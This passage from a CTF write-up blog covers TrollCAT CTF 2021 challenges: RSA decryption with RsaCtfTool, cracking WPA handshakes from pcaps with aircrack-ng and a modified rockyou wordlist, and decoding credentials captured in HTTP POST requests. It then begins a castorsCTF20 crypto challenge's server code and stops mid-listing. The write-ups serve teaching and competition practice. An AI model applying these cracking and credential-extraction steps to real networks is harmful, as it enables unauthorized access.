</code></pre></div></div><p>The second value of q is invalid because it is negative. We can now recover the flag with RsaCtfTool:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./RsaCtfTool.py -n 25368447768323504911600571988774494107818159082103458909402378375896888147122503938518591402940401613482043710928629612450119548224453500663121617535722112844472859040198762641907836363229969155712075958868854330020410559684508712810222293531147857306199021834554435068975911739307607540505629883798642466233546635096780559373979170475222394473493457660803818950607714830510840577490628849303933022437114380092662378432401109413796410640006146844170094240232072224662551989418393330140325743682017287713705780111627575953826016488999945470058220771848171583260999599619753854835899967952821690531655365651736970047327 -q 152499890916776320998653744133858053858040491195676367580833765685801465668550782030624978780895730483048668416204723476732936549664363014792241110103591722802722925811679026916136070136123358563999687916468289972321939237538498300991215059941344271955912443135643418740974797112808138286922920053490440910781 -p 166350596159887180038008065214875092219140776360404932652254258024786749667489521286082628274012916142057723414680208075906988731827931955149666319920984503117638894277277443065842169393255845308033788020741122607036410206146594109085926638540674719307905251892163797482843471808585797470492101034791049525067 -e 65537 --uncipher 15927954374690152068700390298074593196253864077169207071831999310211243220084198633824761313226756137217716813832139827281860280786151119392571330914043785795154126460993477079312886238477507766509831010644388998659565303441719615131661670116956449101956505931748018171190878765731317846254607404813297135537090043417404895660853320127812799010027005785901634939020872408881201149711968120809368691413105318444873712717786940780346214959475833457688794871749017822337860503424073668090333543027469770960756536095503271163592383252371337847620140632398753943463160733918860277382675572411402618882039992721158705125550
private argument is not set, the private key will not be displayed, even if recovered.

Results for /tmp/tmppp_dbgob:

Unciphered data :
HEX : 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054726f6c6c6361747b5235415f31735f6e30745f546834745f657a7a7a217d
INT (big endian) : 149204956497314283531004000320684448716640924972648922878294856785599275389
INT (little endian) : 15796296950557221415783762244626704143186169113285087066722606455844897452964263215436184675224001692315898503209630264108817821134614017492161331444317520492797791539292766800947714681482709495990343928210560879801674983399333011288367509272053239135934383481406159082629868176870350052856035395954404064497290589345884131037586767896214701297772275738237520867935196019143092985144518387329511892766048340328235533409456647218964988372542436526503309580941177438626896784235082191112827629976796687195880133295116412280987396840610920835224261701846594894665827049039141293688389375132934600845020652935017140322304
STR : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Trollcat{R5A_1s_n0t_Th4t_ezzz!}'
</code></pre></div></div><p>Thanks to Uzay for helping to solve this challenge.</p><h3 id="networking">Networking</h3><h4 id="free-wifi-316-pts-69-solves">FREE WIFI (316 pts 69 solves)</h4><h5 id="description-5">Description</h5><p>I left my raspberry at starbucks this morning, here is the captured traffic. Find me the Password of the wifi.</p><p><a href="https://drive.google.com/file/d/16JLMczQILRNGxLtrR0zacfGmU6i9d5Vz/view?usp=sharing">File</a></p><p>Flag format: Trollcat{password}</p><h5 id="solution-5">Solution</h5><p>We are given a <a href="https://en.wikipedia.org/wiki/Pcap">pcap</a> containing WIFI traffic and are told to find the password. To crack the passphrase from a captured handshake (in order to be able to crack WPA a handshake must be captured) we can use <a href="https://en.wikipedia.org/wiki/Aircrack-ng"><code class="language-plaintext highlighter-rouge">aircrack-ng</code></a>:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ aircrack-ng -w ~/rockyou.txt ./hack1-01.cap
</code></pre></div></div><p>Here I used the popular <a href="https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm">rockyou wordlist</a> as my password wordlist.</p><h5 id="flag-1">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Trollcat{no1caredformelikejesus}
</code></pre></div></div><h4 id="i-am-so-sed-500-pts-1-solve-me-">I am so sed (500 pts 1 solve (me 😊))</h4><h5 id="description-6">Description</h5><p>My neighbour knew about our CTF and Rocked his password ! Please help me get access to the WIFI.</p><p><a href="https://drive.google.com/file/d/1noJC5bLrOPJjU62Zh4WQjqQG90tS-qBU/view?usp=sharing">link</a> Flag Format: TROLLCAT{PASSWORD}</p><p>Author: dboidembla</p><h5 id="solution-6">Solution</h5><p>Reading the description of this challenge, it seemed similar to FREE WIFI: you were given a pcap and had to crack the password of the wifi network which the traffic came from. One thing that I noticed was that the neighbour “<strong><em>Rocked</em></strong>” the password, which is a reference to the rockyou wordlist. So I ran the same command as I did for FREE WIFI however the password was not found which meant that despite what I had inferred from the description, the password was not contained within the rockyou wordlist. I thought about applying rules, to the aforementioned list, however, considering how long it had taken to crack the password for FREE WIFI (about 5 minutes), I thought that adding on rules to the list would make the number of possible passwords too large and it would infeasible to crack it.</p><p>I moved on to another challenge as I didn’t know how to proceed.</p><p>After some time, I went back to the challenge and noticed something in the description, it mentioned that the “neighbour knew about our CTF”, insinuating that the password was changed in accordance to it. This suggested they had set their Wi-Fi password to the full flag (with the flag format). So I used <code class="language-plaintext highlighter-rouge">sed</code> to add the flag format to each password in the rockyou wordlist.</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sed -e 's/^/TROLLCAT{/' -e 's/$/}/' ~/rockyou.txt &gt; rockyou_troll.txt
</code></pre></div></div><p>Because the flag format was all in upper case letters (in the challenge description), I thought that it was likely that the password didn’t contain any lower case letters and used grep to shrink the wordlist and crack the password:</p><pre>
$ grep -v [[:lower:]] rockyou_troll.txt &gt; rockyou_troll_upper.txt
$ aircrack-ng -w rockyou_troll_upper.txt hack2.cap-01.cap
                               Aircrack-ng 1.6

      [00:00:00] 178/3090558 keys tested (6168.53 k/s)

      Time left: 8 minutes, 21 seconds                           0.01%

                        KEY FOUND! [ <b>TROLLCAT{11111}</b> ]


      Master Key     : 55 45 F3 11 E8 4C 8E 8B 90 61 9B DA B8 32 26 06
                       60 83 FE 5B 2A 78 6D 26 D1 0E 8F 28 75 9F 3A 4E

      Transient Key  : 2D 4D B1 07 A0 F7 CE 82 6D D3 31 F7 01 84 BB 88
                       20 A2 99 BF B4 32 EF ED 41 51 C3 F4 DC 4F 18 B7
                       43 8C D7 6C D7 E8 91 81 DB 7E 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

      EAPOL HMAC     : 58 18 DB 3A DF B9 01 3E C5 6F A8 5D 4D E8 C2 BA
</pre><h4 id="granny-wants-you-496-pts-12-solves">Granny wants you (496 pts 12 solves)</h4><h5 id="description-7">Description</h5><p>Help my granny login, while monitoring my network one day I was able to capture the credentials, go through this file to get ther credentials</p><p><a href="https://drive.google.com/file/d/1l8fUvacESSTX32InO_87x4RBIXIiNVcD/view?usp=sharing">link</a></p><p>Flag format : username:password ( no – {} ) Author: dboidembla</p><h5 id="solution-7">Solution</h5><p>When opening the pcap in wireshark, there are 338410 packets, way too many for all of them to analysed. Looking at the description, I figured that the most likely way for credentials to be sent over the network by “granny” was over HTTP, and more specifically, a HTTP POST request. So I used the filter <code class="language-plaintext highlighter-rouge">http.request.method == "POST"</code> to filter only POST requests, leaving only 5 remaining packets…</p><p>All of the POST requests were to <code class="language-plaintext highlighter-rouge">testphp.vulnweb.com/userinfo.php</code> and had a <code class="language-plaintext highlighter-rouge">uname</code> and <code class="language-plaintext highlighter-rouge">pass</code> field:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>uname=notthis&amp;pass=bG9sTjAwYg%3D%3D
uname=eW91X3JlYWxseV90aG91Z2h0X3RoaXNfd2FzX2l0&amp;pass=xrrc_qernzvat
uname=next_one_for_sure_or_this_one&amp;pass=aV9kb250X2tub3dfbWF5YmU%3D
uname=E0IPJIyDGxq2Mx56oz12LKD%3D&amp;pass=01001001+00110010+01001001+01100110+01001100+00110010+00111001+01100111+01001101+01001001+00111001+00110000+01101111+00110001+00111001+01010001+01001000+00110000+01000001+01101001+01001101+01010100+01001001+01101100+01110000+00110010+01110101+00110001+01001100+01110100+00111101+00111101
uname=E0IPJIyDGxq2Mx56oz12LKD%3D&amp;pass=01001001+00110010+01001001+01100110+01001100+00110010+00111001+01100111+01001101+01001001+00111001+00110000+01101111+00110001+00111001+01010001+01001000+00110000+01000001+01101001+01001101+01010100+01001001+01101100+01110000+00110010+01110101+00110001+01001100+01110100+00111101+00111101
</code></pre></div></div><p>Using <a href="https://gchq.github.io/CyberChef/">CyberChef</a>, it was possible to modify the <code class="language-plaintext highlighter-rouge">uname</code> and <code class="language-plaintext highlighter-rouge">pass</code> until they looked a bit more natural. In this case the correct password was in the last 2 requests (they’re the same):</p><ul><li><a href="https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64('N-ZA-Mn-za-m0-9%2B/%3D',true)ROT13(true,true,false,13)&amp;input=RTBJUEpJeURHeHEyTXg1Nm96MTJMS0QlM0Q">https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64('N-ZA-Mn-za-m0-9%2B/%3D',true)ROT13(true,true,false,13)&amp;input=RTBJUEpJeURHeHEyTXg1Nm96MTJMS0QlM0Q</a></li><li><a href="https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Binary('Space',8)From_Base64('N-ZA-Mn-za-m0-9%2B/%3D',true)&amp;input=MDEwMDEwMDErMDAxMTAwMTArMDEwMDEwMDErMDExMDAxMTArMDEwMDExMDArMDAxMTAwMTArMDAxMTEwMDErMDExMDAxMTErMDEwMDExMDErMDEwMDEwMDErMDAxMTEwMDErMDAxMTAwMDArMDExMDExMTErMDAxMTAwMDErMDAxMTEwMDErMDEwMTAwMDErMDEwMDEwMDArMDAxMTAwMDArMDEwMDAwMDErMDExMDEwMDErMDEwMDExMDErMDEwMTAxMDArMDEwMDEwMDErMDExMDExMDArMDExMTAwMDArMDAxMTAwMTArMDExMTAxMDErMDAxMTAwMDErMDEwMDExMDArMDExMTAxMDArMDAxMTExMDErMDAxMTExMDE">https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Binary('Space',8)From_Base64('N-ZA-Mn-za-m0-9%2B/%3D',true)&amp;input=MDEwMDEwMDErMDAxMTAwMTArMDEwMDEwMDErMDExMDAxMTArMDEwMDExMDArMDAxMTAwMTArMDAxMTEwMDErMDExMDAxMTErMDEwMDExMDErMDEwMDEwMDErMDAxMTEwMDErMDAxMTAwMDArMDExMDExMTErMDAxMTAwMDErMDAxMTEwMDErMDEwMTAwMDErMDEwMDEwMDArMDAxMTAwMDArMDEwMDAwMDErMDExMDEwMDErMDEwMDExMDErMDEwMTAxMDArMDEwMDEwMDErMDExMDExMDArMDExMTAwMDArMDAxMTAwMTArMDExMTAxMDErMDAxMTAwMDErMDEwMDExMDArMDExMTAxMDArMDAxMTExMDErMDAxMTExMDE</a></li></ul><h5 id="flag-2">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>TROLLCATisAmazing:Welcome_to_CSCodershub
</code></pre></div></div><h3 id="steganography">Steganography</h3><h4 id="change-my-mind-100-pts-210-solves">Change my mind (100 pts 210 solves)</h4><h5 id="description-8">Description</h5><p>Change my mind <a href="https://drive.google.com/file/d/1KNqvQgkAwASizOwXiTkan4KXmoRIEj7W/view?usp=sharing">Dowload File</a> Author: MrGrep</p><h5 id="solution-8">Solution</h5><p>The file was an image, so I threw it in <a href="https://aperisolve.fr/">https://aperisolve.fr/</a> and got the flag:</p><p><img src="/assets/files/trollcatCTF21/aperisolve.png" alt="aperisolve"/></p>]]></content><author><name></name></author><category term="[&quot;ctf&quot;, &quot;writeup&quot;]"/><summary type="html"><![CDATA[This weekend, my team, Pwnzorz, and I played in TrollCAT CTF 2021 and came in second placed. Here are my write-ups for the challenges I solved. If anything needs clarification, you are both welcome and encouraged to contact me.]]></summary></entry><entry><title type="html">castorsCTF20 write-ups</title><link href="/ctf/writeup/2020/05/31/castorsCTF20.html" rel="alternate" type="text/html" title="castorsCTF20 write-ups"/><published>2020-05-31T00:00:00+00:00</published><updated>2020-05-31T00:00:00+00:00</updated><id>/ctf/writeup/2020/05/31/castorsCTF20</id><content type="html" xml:base="/ctf/writeup/2020/05/31/castorsCTF20.html"><![CDATA[<p>This weekend, with my team <a href="https://ctftime.org/team/120438">Pwnzorz</a>, we played castorsCTF20, we ended up in first place and here are my writeups for the challenges I solved. If there’s anything that’s unclear, please send me an email or ask me on discord (or any platform you can find me on).</p><p><img src="/assets/files/castorsCTF20/scoreboard.png" alt="Final scoreboard"/></p><h3 id="crypto">Crypto</h3><h4 id="stalk-market-495-pts-18-solves">Stalk Market (495 pts 18 solves)</h4><h5 id="description">Description:</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Author: hasu

nc chals20.cybercastors.com 14423
</code></pre></div></div><p>A file <code class="language-plaintext highlighter-rouge">server.py</code> is attached:</p><div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">socketserver</span>
<span class="kn">from</span> <span class="n">os</span> <span class="kn">import</span> <span class="n">urandom</span>
<span class="kn">from</span> <span class="n">random</span> <span class="kn">import</span> <span class="n">seed</span><span class="p">,</span> <span class="n">randint</span>
<span class="kn">from</span> <span class="n">secret</span> <span class="kn">import</span> <span class="n">FLAG</span>

<span class="n">BANNER</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"""</span><span class="s">
 ______  ______ ______  __      __  __       __    __  ______  ______  __  __  ______ ______  
/\  ___\/\__  _/\  __ \/\ \    /\ \/ /      /\ </span><span class="sh">"</span><span class="s">-./  \/\  __ \/\  == \/\ \/ / /\  ___/\__  _\ 
\ \___  \/_/\ </span><span class="se">\\</span><span class="s">\ \  __ \ \ \___\ \  _</span><span class="sh">"</span><span class="s">-.    \ \ \-./\ \ \  __ \ \  __&lt;\ \  _</span><span class="sh">"</span><span class="s">-\ \  __\/_/\ \/ 
 \/\_____\ \ \_</span><span class="se">\\</span><span class="s">\ \_\ \_\ \_____\ \_\ \_\    \ \_\ \ \_\ \_\ \_\ \_\ \_\ \_\ \_\ \_____</span><span class="se">\\</span><span class="s">\ \_\ 
  \/_____/  \/_/ \/_/\/_/\/_____/\/_/\/_/     \/_/  \/_/\/_/\/_/\/_/ /_/\/_/\/_/\/_____/ \/_/ 
                                                                                              </span><span class="sh">"""</span>
<span class="n">MESSAGE</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"""</span><span class="s">
Breaking news!
The algorithm that generates turnip prices has been data mined.
All prices for the week are generated on Monday at midnight.
Understand how the algorithm works and predict prizes for
the next 20 weeks to become the Ultimate Turnip Prophet!</span><span class="se">\n</span><span class="s">
</span><span class="sh">"""</span>

<span class="n">sbox</span> <span class="o">=</span> <span class="p">[</span><span class="mi">92</span><span class="p">,</span> <span class="mi">74</span><span class="p">,</span> <span class="mi">18</span><span class="p">,</span> <span class="mi">190</span><span class="p">,</span> <span class="mi">162</span><span class="p">,</span> <span class="mi">125</span><span class="p">,</span> <span class="mi">45</span><span class="p">,</span> <span class="mi">159</span><span class="p">,</span> <span class="mi">217</span><span class="p">,</span> <span class="mi">153</span><span class="p">,</span> <span class="mi">167</span><span class="p">,</span> <span class="mi">179</span><span class="p">,</span> <span class="mi">221</span><span class="p">,</span> <span class="mi">151</span><span class="p">,</span> <span class="mi">140</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">227</span><span class="p">,</span> <span class="mi">83</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">80</span><span class="p">,</span> <span class="mi">75</span><span class="p">,</span> <span class="mi">107</span><span class="p">,</span> <span class="mi">85</span><span class="p">,</span> <span class="mi">104</span><span class="p">,</span> <span class="mi">216</span><span class="p">,</span> <span class="mi">53</span><span class="p">,</span> <span class="mi">90</span><span class="p">,</span> <span class="mi">136</span><span class="p">,</span> <span class="mi">133</span><span class="p">,</span> <span class="mi">40</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">94</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="mi">237</span><span class="p">,</span> <span class="mi">103</span><span class="p">,</span> <span class="mi">29</span><span class="p">,</span> <span class="mi">175</span><span class="p">,</span> <span class="mi">127</span><span class="p">,</span> <span class="mi">172</span><span class="p">,</span> <span class="mi">79</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">177</span><span class="p">,</span> <span class="mi">123</span><span class="p">,</span> <span class="mi">128</span><span class="p">,</span> <span class="mi">99</span><span class="p">,</span> <span class="mi">203</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">198</span><span class="p">,</span> <span class="mi">67</span><span class="p">,</span> <span class="mi">117</span><span class="p">,</span> <span class="mi">61</span><span class="p">,</span> <span class="mi">152</span><span class="p">,</span> <span class="mi">207</span><span class="p">,</span> <span class="mi">220</span><span class="p">,</span> <span class="mi">9</span><span class="p">,</span> <span class="mi">232</span><span class="p">,</span> <span class="mi">229</span><span class="p">,</span> <span class="mi">120</span><span class="p">,</span> <span class="mi">48</span><span class="p">,</span> <span class="mi">246</span><span class="p">,</span> <span class="mi">238</span><span class="p">,</span> <span class="mi">210</span><span class="p">,</span> <span class="mi">143</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">33</span><span class="p">,</span> <span class="mi">87</span><span class="p">,</span> <span class="mi">165</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">135</span><span class="p">,</span> <span class="mi">240</span><span class="p">,</span> <span class="mi">113</span><span class="p">,</span> <span class="mi">149</span><span class="p">,</span> <span class="mi">105</span><span class="p">,</span> <span class="mi">193</span><span class="p">,</span> <span class="mi">130</span><span class="p">,</span> <span class="mi">254</span><span class="p">,</span> <span class="mi">234</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">76</span><span class="p">,</span> <span class="mi">63</span><span class="p">,</span> <span class="mi">19</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">206</span><span class="p">,</span> <span class="mi">108</span><span class="p">,</span> <span class="mi">251</span><span class="p">,</span> <span class="mi">54</span><span class="p">,</span> <span class="mi">102</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">126</span><span class="p">,</span> <span class="mi">219</span><span class="p">,</span> <span class="mi">228</span><span class="p">,</span> <span class="mi">141</span><span class="p">,</span> <span class="mi">72</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">161</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">252</span><span class="p">,</span> <span class="mi">241</span><span class="p">,</span> <span class="mi">231</span><span class="p">,</span> <span class="mi">21</span><span class="p">,</span> <span class="mi">226</span><span class="p">,</span> <span class="mi">22</span><span class="p">,</span> <span class="mi">194</span><span class="p">,</span> <span class="mi">197</span><span class="p">,</span> <span class="mi">145</span><span class="p">,</span> <span class="mi">39</span><span class="p">,</span> <span class="mi">192</span><span class="p">,</span> <span class="mi">95</span><span class="p">,</span> <span class="mi">245</span><span class="p">,</span> <span class="mi">89</span><span class="p">,</span> <span class="mi">91</span><span class="p">,</span> <span class="mi">81</span><span class="p">,</span> <span class="mi">189</span><span class="p">,</span> <span class="mi">171</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">243</span><span class="p">,</span> <span class="mi">225</span><span class="p">,</span> <span class="mi">191</span><span class="p">,</span> <span class="mi">78</span><span class="p">,</span> <span class="mi">139</span><span class="p">,</span> <span class="mi">148</span><span class="p">,</span> <span class="mi">242</span><span class="p">,</span> <span class="mi">43</span><span class="p">,</span> <span class="mi">168</span><span class="p">,</span> <span class="mi">38</span><span class="p">,</span> <span class="mi">42</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">184</span><span class="p">,</span> <span class="mi">37</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">244</span><span class="p">,</span> <span class="mi">223</span><span class="p">,</span> <span class="mi">124</span><span class="p">,</span> <span class="mi">218</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">214</span><span class="p">,</span> <span class="mi">58</span><span class="p">,</span> <span class="mi">213</span><span class="p">,</span> <span class="mi">34</span><span class="p">,</span> <span class="mi">204</span><span class="p">,</span> <span class="mi">66</span><span class="p">,</span> <span class="mi">201</span><span class="p">,</span> <span class="mi">180</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">147</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="mi">202</span><span class="p">,</span> <span class="mi">199</span><span class="p">,</span> <span class="mi">47</span><span class="p">,</span> <span class="mi">196</span><span class="p">,</span> <span class="mi">36</span><span class="p">,</span> <span class="mi">188</span><span class="p">,</span> <span class="mi">169</span><span class="p">,</span> <span class="mi">186</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">224</span><span class="p">,</span> <span class="mi">166</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">170</span><span class="p">,</span> <span class="mi">195</span><span class="p">,</span> <span class="mi">25</span><span class="p">,</span> <span class="mi">71</span><span class="p">,</span> <span class="mi">215</span><span class="p">,</span> <span class="mi">52</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">142</span><span class="p">,</span> <span class="mi">93</span><span class="p">,</span> <span class="mi">178</span><span class="p">,</span> <span class="mi">174</span><span class="p">,</span> <span class="mi">182</span><span class="p">,</span> <span class="mi">131</span><span class="p">,</span> <span class="mi">248</span><span class="p">,</span> <span class="mi">26</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">163</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">236</span><span class="p">,</span> <span class="mi">205</span><span class="p">,</span> <span class="mi">27</span><span class="p">,</span> <span class="mi">119</span><span class="p">,</span> <span class="mi">82</span><span class="p">,</span> <span class="mi">70</span><span class="p">,</span> <span class="mi">35</span><span class="p">,</span> <span class="mi">23</span><span class="p">,</span> <span class="mi">88</span><span class="p">,</span> <span class="mi">154</span><span class="p">,</span> <span class="mi">222</span><span class="p">,</span> <span class="mi">239</span><span class="p">,</span> <span class="mi">209</span><span class="p">,</span> <span class="mi">208</span><span class="p">,</span> <span class="mi">41</span><span class="p">,</span> <span class="mi">212</span><span class="p">,</span> <span class="mi">84</span><span class="p">,</span> <span class="mi">176</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">134</span><span class="p">,</span> <span class="mi">230</span><span class="p">,</span> <span class="mi">51</span><span class="p">,</span> <span class="mi">211</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">155</span><span class="p">,</span> <span class="mi">185</span><span class="p">,</span> <span class="mi">253</span><span class="p">,</span> <span class="mi">247</span><span class="p">,</span> <span class="mi">158</span><span class="p">,</span> <span class="mi">56</span><span class="p">,</span> <span class="mi">73</span><span class="p">,</span> <span class="mi">118</span><span class="p">,</span> <span class="mi">187</span><span class="p">,</span> <span class="mi">250</span><span class="p">,</span> <span class="mi">160</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">16</span><span class="p">,</span> <span class="mi">17</span><span class="p">,</span> <span class="mi">157</span><span class="p">,</span> <span class="mi">62</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">181</span><span class="p">,</span> <span class="mi">164</span><span class="p">,</span> <span class="mi">121</span><span class="p">,</span> <span class="mi">156</span><span class="p">,</span> <span class="mi">77</span><span class="p">,</span> <span class="mi">132</span><span class="p">,</span> <span class="mi">200</span><span class="p">,</span> <span class="mi">138</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">60</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="mi">183</span><span class="p">,</span> <span class="mi">59</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">28</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">46</span><span class="p">,</span> <span class="mi">24</span><span class="p">,</span> <span class="mi">44</span><span class="p">,</span> <span class="mi">98</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">137</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">49</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">173</span><span class="p">,</span> <span class="mi">146</span><span class="p">,</span> <span class="mi">150</span><span class="p">,</span> <span class="mi">129</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">86</span><span class="p">,</span> <span class="mi">249</span><span class="p">]</span>
<span class="n">p</span> <span class="o">=</span> <span class="p">[</span><span class="mi">8</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">9</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">12</span><span class="p">]</span>
<span class="nb">round</span> <span class="o">=</span> <span class="mi">8</span>

<span class="k">def</span> <span class="nf">pad</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">s</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">pad_b</span> <span class="o">=</span> <span class="mi">16</span> <span class="o">-</span> <span class="nf">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span>
        <span class="k">return</span> <span class="n">s</span> <span class="o">+</span> <span class="nf">bytes</span><span class="p">([</span><span class="n">pad_b</span><span class="p">])</span> <span class="o">*</span> <span class="n">pad_b</span>

<span class="k">def</span> <span class="nf">repeated_xor</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">k</span><span class="p">):</span>
    <span class="k">return</span> <span class="nf">bytearray</span><span class="p">([</span><span class="n">p</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">k</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">p</span><span class="p">))])</span>

<span class="k">def</span> <span class="nf">group</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">[</span><span class="n">s</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">16</span><span class="p">:</span> <span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mi">16</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">//</span> <span class="mi">16</span><span class="p">)]</span>

<span class="k">def</span> <span class="nf">hash</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="n">state</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">([</span><span class="mi">165</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">228</span><span class="p">,</span> <span class="mi">151</span><span class="p">,</span> <span class="mi">146</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">238</span><span class="p">,</span> <span class="mi">198</span><span class="p">,</span> <span class="mi">241</span><span class="p">,</span> <span class="mi">198</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">46</span><span class="p">,</span> <span class="mi">148</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">38</span><span class="p">])</span>
